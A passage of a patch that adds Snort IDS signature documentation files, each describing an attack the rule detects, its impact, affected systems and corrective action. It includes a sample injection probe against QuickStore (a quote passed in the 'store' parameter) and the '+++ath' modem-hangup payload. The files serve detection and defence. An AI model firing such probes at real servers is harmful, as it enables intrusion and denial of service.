+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/100000616.txt
+++ snort-2.7.0/doc/signatures/100000616.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+100000616
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "Indexu" application running on a webserver. 
+Access to the file "link_search.php" using a remote file being passed as the 
+"admin_template_path" parameter may indicate that an exploitation attempt has 
+been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "admin_template_path" parameter in the "link_search.php" 
+script used by the "Indexu" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Indexu
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.7.0.orig/doc/signatures/274.txt
+++ snort-2.7.0/doc/signatures/274.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+274
+
+--
+Summary:
+This event is generated when an attempt is made to issue a Denial of Service attack that works against some modems.
+
+--
+Impact:
+The system may be disconnected from it's dial-up connection.
+
+--
+Detailed Information:
+An ICMP Echo Request is sent to a target system with a payload that
+includes "+++ath".  The "+++" is an attention sequence that allows a
+user to enter commands to the modem.  "ath" is the modem hangup command.
+An ICMP Echo Reply includes the same payload as the associated request.
+On some modems, when the machine tries to reply to this packet, "+++ath"
+will be interpreted as a command and the modem will hangup.  The remote
+address can be spoofed.
+
+--
+Affected Systems:
+unknown
+
+--
+Attack Scenarios:
+A user can remotely cause a modem to disconnect.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Set a guard time on the modem. Contact the modem manufacturer for
+details. A guard time will cause the modem to wait after receiving
+"+++". Any further input during this wait, including "ath", will be 
+disregarded. 
+
+--
+Contributors:
+Original Rule Writer Unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Snort documentation contributed by Steven Alexander<alexander.s@mccd.edu>
+
+--
+Additional References:
+
+Arachnids:
+http://www.whitehats.com/info/IDS264
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=3DCAN-1999-1228
+
+Security Focus:
+http://www.securityfocus.com/archive/1/10706
+
+--
--- snort-2.7.0.orig/doc/signatures/3259.txt
+++ snort-2.7.0/doc/signatures/3259.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3259
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/728.txt
+++ snort-2.7.0/doc/signatures/728.txt
@@ -0,0 +1,91 @@
+Rule:
+
+--
+Sid:
+728
+
+
+--
+Summary:
+This event is generated when worm activity is detected. More specifcally
+this event indicates possible "My Romeo" propogation.
+
+--
+Impact:
+Serious. The victim host may be infected with a worm.
+
+--
+Detailed Information:
+This worm propogates via electronic mail and exploits a known
+vulnerability in the way that versions of Microsoft Outlook and Internet
+Explorer handle trusted HTML pages. The worm is launched via a compiled
+HTML file (.chm) which is used by Microsoft WIndows Help.
+
+The executable part of the worm is called from within the trusted
+compiled HTML file. The worm attempts to propagate using hard coded
+addresses of SMTP servers.
+
+This worm is also Known As: Romeo and Juliet, W32/Verona, TrojBlebla.A
+
+--
+Affected Systems:
+	Microsoft Windows 9x
+	Microsoft Windows 2000
+
+--
+Attack Scenarios:
+Symantec Anti-Virus center states that the worm arrives as an email
+message that has an HTML body and two attachments named Myjuliet.chm
+and Myromeo.exe. The subject of the email is selected at random from
+the following set:
+
+Romeo&Juliet
+hello world
+subject
+ble bla, bee
+I Love You ;)
+sorry...
+Hey you !
+Matrix has you...
+my picture
+from shake-beer
+
+--
+Ease of Attack:
+Simple. This is worm activity.
+
+--
+False Positives:
+Legitimate electronic mail containing the known subject lines used by
+MyRomeo may cause this rule to generate an event.
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches and service packs.
+
+Use Anti-Virus software to detect and delete virus laden email.
+
+This worm makes changes to the system registry, removal of the affected
+registry keys should be done using an appropriate virus removal tool or
+by an experienced Windows administrator.
+
+--
+Contributors:
+Original Rule Writer Max Vision <vision@whitehats.com>
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+McAfee
+http://vil.nai.com/vil/content/v_98894.htm
+
+Symantec Security Response
+http://securityresponse.symantec.com/avcenter/venc/data/w32.blebla.worm.html
+
+--
--- snort-2.7.0.orig/doc/signatures/459.txt
+++ snort-2.7.0/doc/signatures/459.txt
@@ -0,0 +1,60 @@
+Rule:
+
+--
+
+Sid:
+459
+
+--
+
+Summary:
+This event is generated when an ICMP Type 1 datagram with an undefined ICMP Code is detected on the network. 
+
+--
+
+Impact:
+ICMP Type 1 datagrams are not currently used by any known devices.
+
+--
+
+Detailed Information:
+ICMP Type 1 is not defined for use and is not expected network activity.  Any ICMP datagram with an undefined ICMP Code should be investigated.  
+
+--
+
+Attack Scenarios:
+None known
+
+--
+
+Ease of Attack:
+Numerous tools and scripts can generate this type of ICMP datagram.
+
+--
+
+False Positives:
+None known
+
+--
+
+False Negatives:
+None known
+--
+
+Corrective Action:
+Ingress filtering should be utilized to block incoming ICMP Type 1 datagrams
+--
+
+Contributors:
+Original Rule writer unknown
+Sourcefire Research Team
+Matthew Watchinski (matt.watchinski@sourcefire.com)
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+
+Additional References:
+None
+
+
+--
--- snort-2.7.0.orig/doc/signatures/100000656.txt
+++ snort-2.7.0/doc/signatures/100000656.txt
@@ -0,0 +1,64 @@
+Rule:
+
+--
+Sid:
+100000656
+--
+Summary:
+This event is generated when an attempt is made to exploit a cross site 
+scripting vulnerability in the "MyPHP Guestbook" application running on a 
+webserver.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit a cross site 
+scripting vulnerability via the "email" parameter in the "guestbook.php" script 
+used by the "MyPHP Guestbook" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to retrieve sensitive data, execute system binaries 
+or malicious code of the attackers choosing.
+
+--
+Affected Systems:
+All systems running CGI applications using MyPHP Guestbook
+--
+Attack Scenarios:
+An attacker can supply a malicious link designed to steal information from a 
+user clicking on that link.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+The Cross Site Scripting (XSS) FAQ
+http://www.cgisecurity.com/articles/xss-faq.shtml
+
+--
+
--- snort-2.7.0.orig/doc/signatures/2323.txt
+++ snort-2.7.0/doc/signatures/2323.txt
@@ -0,0 +1,65 @@
+Rule:
+
+--
+Sid:
+2323
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in the QuickStore CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to the QuickStore CGI application running on a web server. This
+application does not perform stringent checks when validating the input
+from a user to the script. 
+
+The error document produced by the application may disclose sensitive
+information about the installation of the application.
+
+--
+Affected Systems:
+	QuickStore 2.12 and prior
+
+--
+Attack Scenarios:
+An attacker can supply input to the quickstore.cgi script using a single
+quote character in the "store" parameter. This will cause the script to
+generate an error and disclose the information described above.
+
+For example: http://vulnerable.com/cgi-bin/quickstore.cgi?store='
+
+--
+Ease of Attack:
+Simple. No exploit software required.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/2325.txt
+++ snort-2.7.0/doc/signatures/2325.txt
@@ -0,0 +1,62 @@
+Rule:
+
+--
+Sid:
+2325
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in Virtual Programming VP-ASP web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in Virtual Programming VP-ASP web application running on a
+server. It may be possible to use SQL injection techniques to supply
+SQL code of an attackers choosing to the database used in the
+application.
+
+--
+Affected Systems:
+	Virtual Programming VP-ASP 4.0
+	Virtual Programming VP-ASP 5.0
+
+--
+Attack Scenarios:
+An attacker can inject SQL code of their choosing to view and manipulate
+data stored in the underlying database used by the application.
+
+--
+Ease of Attack:
+Simple. Exploit software is not required.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/2367.txt
+++ snort-2.7.0/doc/signatures/2367.txt
@@ -0,0 +1,62 @@
+Rule:  
+
+--
+Sid:
+2367
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in the PHP web application PhpGedView.
+
+--
+Impact:
+Execution of arbitrary code on the affected system
+
+--
+Detailed Information:
+PhpGedView contains a flaw such that it may be possible for an attacker
+to include code of their choosing by manipulating the PGV_BASE_DIRECTORY
+parameter when making a GET or POST  request to a vulnerable system.
+
+It may be possible for an attacker to execute that code with the
+privileges of the user running the webserver, usually root.
+
+--
+Affected Systems:
+	PhpGedView 2.65.1 and earlier
+--
+Attack Scenarios:
+An attacker can make a request to an affected script and define their
+own path to the PGV_BASE_DIRECTORY variable.
+
+--
+Ease of Attack:
+Simple. No exploit software required.
+
+--
+False Positives:
+None known
+
+--
+False Negatives:
+None known
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+Upgrade to the latest non-affected version of the software
+
+--
+Contributors:
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+CERT:
+http://www.cert.org/advisories/CA-2003-07.html
+
+--
--- snort-2.7.0.orig/doc/signatures/100000705.txt
+++ snort-2.7.0/doc/signatures/100000705.txt
@@ -0,0 +1,55 @@
+
+
+Rule:
+
+--
+Sid:
+100000705
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "SmartSiteCMS" application running on a webserver. Access to the file "test.php" using a remote file being passed as the "root" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "root" parameter in the "test.php" script used by the "SmartSiteCMS" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using SmartSiteCMS
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.7.0.orig/doc/signatures/1401.txt
+++ snort-2.7.0/doc/signatures/1401.txt
@@ -0,0 +1,67 @@
+Rule:
+
+--
+Sid: 1401
+
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a potential weakness on a host running Microsoft Internet Information Server (IIS). 
+
+--
+Impact:
+Information gathering possible administrator access.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit potential weaknesses in a host running Microsoft IIS.
+
+The attacker may be trying to gain information on the IIS implementation on the host, this may be the prelude to an attack against that host using that information.
+
+The attacker may also be trying to gain administrator access to the host, garner information on users of the system or retrieve sensitive customer information.
+
+Some applications may store sensitive information such as database connections, user information, passwords and customer information in files accessible via a web interface. Care should be taken to ensure these files are not accessible to external sources.
+
+--
+Affected Systems:
+Any host using IIS.
+
+--
+Attack Scenarios:
+An attacker can retrieve a sensitive file containing information on the IIS implementation. The attacker might then gain administrator access to the site, deface the content or gain access to a database.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check the IIS implementation on the host. Ensure all measures have been taken to deny access to sensitive files.
+
+Ensure that the IIS implementation is fully patched.
+
+Ensure that the underlying operating system is fully patched.
+
+Employ strategies to harden the IIS implementation and operating system.
+
+Check the host for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.7.0.orig/doc/signatures/2134.txt
+++ snort-2.7.0/doc/signatures/2134.txt
@@ -0,0 +1,65 @@
+Rule:
+
+--
+Sid:
+
+
+--
+Summary:
+This event is generated when an attempt is made to access the file register.asp directly.
+
+--
+Impact:
+Possible administrator access and arbitrary command execution.
+
+--
+Detailed Information:
+Snitz Forums is an Active Server Page (asp) application running on Microsoft Internet Information Server. A vulnerability exists in Snitz Forums that can allow an attacker to inject SQL code of his choice into the application. The file register.asp contains a flaw that can allow an attacker to gain administrator access to the site. 
+
+The attacker may be trying to gain administrator access to the host, garner information on users of the system, retrieve sensitive information or be attempting to execute arbitrary code.
+
+--
+Affected Systems:
+Any host using IIS with Snitz Forums.
+
+--
+Attack Scenarios:
+An attacker may inject SQL code of his choice. The attacker might then gain administrator access to the host or database.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+If a site not running Snitz Forums uses a file named register.asp this rule will generate an event.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+Check the IIS implementation on the host. Ensure all measures have been taken to deny access to sensitive files.
+
+Ensure that the IIS implementation is fully patched.
+
+Ensure that the underlying operating system is fully patched.
+
+Employ strategies to harden the IIS implementation and operating system.
+
+Check the host for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.7.0.orig/doc/signatures/100000166.txt
+++ snort-2.7.0/doc/signatures/100000166.txt
@@ -0,0 +1,64 @@
+Rule: 
+
+--
+Sid: 
+100000166
+
+-- 
+Summary: 
+This event is generated when a command is sent to an Oracle isqlplus instance 
+which contains a command to halt the Oracle TNS listener service.
+
+--
+Impact:
+Vulnerable Oracle servers may shut down their TNS listener service upon receipt 
+of this command, making the database unavailable for normal use until it is 
+restarted.
+
+--
+Detailed Information:
+iSQLPlus is a web interface to the Oracle SQLPlus system. A wide range of 
+commands may be sent to an Oracle server via this interface, including 
+administrative commands. If a request is sent which contains a command to halt 
+the TNS listener service, vulnerable versions of Oracle will execute the 
+command, halting the service and denying service to legitimate users until the 
+service is restarted.
+
+--
+Affected Systems:
+Oracle 9i Standard Edition 9.0.2.4
+Oracle 9i Personal Edition 9.0.2.4
+Oracle 9i Enterprise Edition 9.0.2.4
+
+--
+Attack Scenarios:
+A web browser may be used to exploit this vulnerability.
+
+--
+Ease of Attack:
+Simple, as a publicly available exploit exists which may be executed via a web 
+browser.
+
+--
+False Positives:
+Any time an authorized administrator chooses to shut down the TNS listener 
+service via the iSQLPlus interface.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the Oracle Critical Patch Update from July 2005, available at 
+http://www.oracle.com/technology/deploy/security/pdf/cpujul2005.html.
+
+--
+Contributors:
+rmkml
+Sourcefire Research Team
+
+--
+Additional References
+
+--
--- snort-2.7.0.orig/doc/signatures/2472.txt
+++ snort-2.7.0/doc/signatures/2472.txt
@@ -0,0 +1,64 @@
+Rule:
+
+--
+Sid:
+2472
+
+--
+Summary:
+This event is generated when an attempt is made to access the C$ default
+administrative share of a Windows host.
+
+--
+Impact:
+Serious. Possible administrator access to the host. Information 
+disclosure.
+
+--
+Detailed Information:
+By default, Windows hosts have default administrative shares of the 
+local hard drives using the format %DRIVE_LETTER% + $. Anybody with 
+administrative rights can remotely access the share.
+
+--
+Affected Systems:
+	Windows hosts.
+
+--
+Attack Scenarios:
+An attacker may be attempting to access files located on the C drive of 
+the host.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Disallow Netbios access from external networks (tcp port 139).
+
+--
+Contributors:
+Original Rule Writer Unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Snort documentation contributed by Josh Sakofsky
+
+-- 
+Additional References:
+
+Arachnids:
+http://www.whitehats.com/info/IDS339
+
+Microsoft:
+http://support.microsoft.com/default.aspx?scid=kb;en-us;100517
+
+--
--- snort-2.7.0.orig/doc/signatures/3104.txt
+++ snort-2.7.0/doc/signatures/3104.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+3104
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in Microsoft License Logging Service.
+
+-- 
+Impact: 
+Serious. Execution of arbitrary code leading to unauthorized
+administrative access to the target host. Denial of Service (DoS) is
+also possible.
+
+--
+Detailed Information:
+Microsoft License Logging Service is used to manage licenses for
+Microsoft server products.
+
+A vulnerability in the service exists due to a programming error such
+that an unchecked buffer may present an attacker with the opportunity to
+exploit the service and run code of their choosing on an affected
+system. The attacker may then cause a DoS condition in the service or
+possibly gain administrative access to the target host.
+
+The unchecked buffer exists when processing the length of messages sent
+to the logging service.
+
+--
+Affected Systems:
+	Microsoft Windows Server 2003
+	Microsoft Windows Server 2000
+	Microsoft Windows NT Server
+
+--
+Attack Scenarios: 
+An attacker can supply extra data in the message to the service
+containing code of their choosing to be run on the server.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+-- 
+
+Corrective Action: 
+Apply the appropriate vendor supplied patches.
+
+--
+Contributors: 
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/361.txt
+++ snort-2.7.0/doc/signatures/361.txt
@@ -0,0 +1,59 @@
+Rule:
+
+--
+Sid:
+361
+
+--
+Summary:
+This event is generated when a remote user executes the SITE EXEC command in a session with an internal FTP server. This may indicate an attempt to exploit a vulnerability in the SITE EXEC command in wu-ftpd version 2.4.1.
+
+--
+Impact:
+Arbitrary code execution, leading to remote root compromise. The attacker must have a valid, non-anonymous FTP account on the server to attempt this exploit. 
+
+--
+Detailed Information:
+A misconfiguration in the pathnames.h configuration file in wu-ftpd 2.4.1 allows users to execute commands from /bin instead of ~username/bin. An attacker with a valid FTP account on the server can exploit this vulnerability to execute arbitrary shell code using the SITE EXEC command.
+
+--
+Affected Systems:
+Servers running Washington University wu-ftpd version 2.4.1 or earlier.
+
+--
+Attack Scenarios:
+An attacker logs into the system using a valid FTP account, and then executes arbitrary shell code to obtain root access to the server.
+
+--
+Ease of Attack:
+Simple. 
+
+--
+False Positives:
+If a legitimate remote user uses the SITE EXEC command, this rule may generate an event.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to a later version of the wu-ftp daemon.
+
+--
+Contributors:
+Original rule writer unknown.
+Sourcefire Research Team
+Sourcefire Technical Publications Team
+Jen Harvey <jennifer.harvey@sourcefire.com>
+
+--
+Additional References:
+
+CVE
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0080
+
+CERT
+http://www.cert.org/advisories/CA-1995-16.html
+
+--
--- snort-2.7.0.orig/doc/signatures/1506.txt
+++ snort-2.7.0/doc/signatures/1506.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1506
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/100000518.txt
+++ snort-2.7.0/doc/signatures/100000518.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+100000518
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "PHP Live Helper" application running on a 
+webserver. Access to the file "initiate.php" using a remote file being passed 
+as the "abs_path" parameter may indicate that an exploitation attempt has been 
+attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "abs_path" parameter in the "initiate.php" script used 
+by the "PHP Live Helper" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using PHP Live Helper
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.7.0.orig/doc/signatures/100000102.txt
+++ snort-2.7.0/doc/signatures/100000102.txt
@@ -0,0 +1,62 @@
+Rule: 
+
+--
+Sid: 
+100000102
+
+-- 
+Summary: 
+This event is generated when an empty UDP packet is sent to port 2305, where 
+Halocon game servers typically listen.
+
+-- 
+
+Impact: 
+After receiving such a packet, the server will no longer listen on this port, 
+denying the administrator the ability to send remote commands.
+
+--
+Detailed Information:
+Halocon servers listen to UDP port 2305 for commands. Upon receiving an empty 
+UDP packet to that port, the server shuts down the port. Administrators can no 
+longer send remote commands to the server, effectively causing a denial of 
+service. The server must be restarted to re-open the port.
+
+--
+Affected Systems:
+Halocon 2.0.0.81
+
+--
+
+Attack Scenarios: 
+A script that generates empty UDP packets can be used to perform this attack.
+
+-- 
+
+Ease of Attack: 
+Simple; public exploits exist.
+
+-- 
+
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+-- 
+
+Corrective Action: 
+No known patches or workarounds exist. System administrators may be able to 
+reject these packets at their firewall, depending upon the abilities of the 
+firewall system they use.
+
+--
+Contributors: 
+Alex Kirk <alex.kirk@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/106-1.txt
+++ snort-2.7.0/doc/signatures/106-1.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+106-1
+
+--
+Summary:
+This event is generated when the pre-processor spp_rpc_decode detects
+network traffic that may constitute an attack. Specifically fragmented 
+rpc records were detected.
+
+--
+Impact:
+Unknown.
+
+--
+Detailed Information:
+This event is generated when the spp_rpc_decode pre-processor detects
+network traffic that may consititute an attack.
+
+--
+Affected Systems:
+	All.
+
+--
+Attack Scenarios:
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check the target host for signs of compromise.
+
+Apply any appropriate vendor supplied patches.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.7.0.orig/doc/signatures/1561.txt
+++ snort-2.7.0/doc/signatures/1561.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1561
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
